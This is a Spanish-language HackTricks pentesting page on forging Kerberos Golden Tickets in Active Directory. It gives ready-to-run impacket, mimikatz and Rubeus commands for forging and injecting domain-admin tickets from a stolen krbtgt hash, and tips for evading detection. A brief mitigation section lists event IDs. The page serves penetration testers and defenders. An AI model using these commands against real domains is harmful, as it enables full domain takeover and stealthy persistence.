hacktricks/windows-hardening/active-directory-methodology/golden-ticket.md

74 lines
5.4 KiB
Markdown
Raw Normal View History

2023-06-03 01:46:23 +00:00
## Golden Ticket
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
Se puede crear un **TGT válido como cualquier usuario** utilizando el hash NTLM de la cuenta AD krbtgt. La ventaja de forjar un TGT en lugar de un TGS es poder acceder a cualquier servicio (o máquina) en el dominio y al usuario suplantado. Además, las **credenciales** de **krbtgt** nunca se cambian automáticamente.
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
El hash NTLM de la cuenta **krbtgt** se puede obtener del proceso **lsass** o del archivo **NTDS.dit** de cualquier DC en el dominio. También es posible obtener ese NTLM a través de un ataque **DCsync**, que se puede realizar con el módulo [lsadump::dcsync](https://github.com/gentilkiwi/mimikatz/wiki/module-\~-lsadump) de Mimikatz o el ejemplo de impacket [secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py). Por lo general, se requieren **privilegios de administrador de dominio o similares**, independientemente de la técnica utilizada.
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
También debe tenerse en cuenta que es posible y **preferible** (opsec) forjar tickets utilizando las claves Kerberos AES (AES128 y AES256).
2023-06-03 01:46:23 +00:00
{% code title="Desde Linux" %}
```bash
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
```
{% endcode %}
2023-06-03 01:46:23 +00:00
{% code title="Desde Windows" %}
```bash
2022-08-15 19:31:10 +00:00
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory
2022-08-15 19:31:10 +00:00
# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
```
{% endcode %}
2023-06-03 01:46:23 +00:00
Una vez que hayas inyectado el **Golden Ticket**, puedes acceder a los archivos compartidos **(C$)** y ejecutar servicios y WMI, por lo que podrías usar **psexec** o **wmiexec** para obtener una shell (parece que no puedes obtener una shell a través de winrm).
2022-08-15 19:31:10 +00:00
### Bypassing common detections
2023-06-03 01:46:23 +00:00
Las formas más frecuentes de detectar un Golden Ticket son **inspeccionando el tráfico de Kerberos** en la red. Por defecto, Mimikatz **firma el TGT por 10 años**, lo que destacará como anómalo en las solicitudes posteriores de TGS realizadas con él.
2022-08-15 19:31:10 +00:00
`Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
2023-06-03 01:46:23 +00:00
Utiliza los parámetros `/startoffset`, `/endin` y `/renewmax` para controlar el desplazamiento de inicio, la duración y el máximo de renovaciones (todo en minutos).
2022-08-15 19:31:10 +00:00
```
Get-DomainPolicy | select -expand KerberosPolicy
```
2023-06-03 01:46:23 +00:00
Desafortunadamente, el tiempo de vida del TGT no se registra en los eventos 4769, por lo que no encontrará esta información en los registros de eventos de Windows. Sin embargo, lo que se puede correlacionar es **ver eventos 4769** _**sin**_ **un evento 4768 previo**. No es posible solicitar un TGS sin un TGT, y si no hay registro de que se haya emitido un TGT, podemos inferir que se falsificó sin conexión.
2022-08-15 19:31:10 +00:00
2023-06-03 01:46:23 +00:00
Para **evitar esta detección**, revise los tickets diamond:
2022-08-15 19:31:10 +00:00
{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md](diamond-ticket.md)
{% endcontent-ref %}
2023-06-03 01:46:23 +00:00
### Mitigación
2023-06-03 01:46:23 +00:00
* 4624: Inicio de sesión de cuenta
* 4672: Inicio de sesión de administrador
* `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List Property`
2023-06-03 01:46:23 +00:00
Otros pequeños trucos que los defensores pueden hacer es **alertar sobre eventos 4769 para usuarios sensibles** como la cuenta predeterminada del administrador de dominio.
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
[**Más información sobre Golden Ticket en ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- **Comparte tus trucos de hacking enviando PR al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>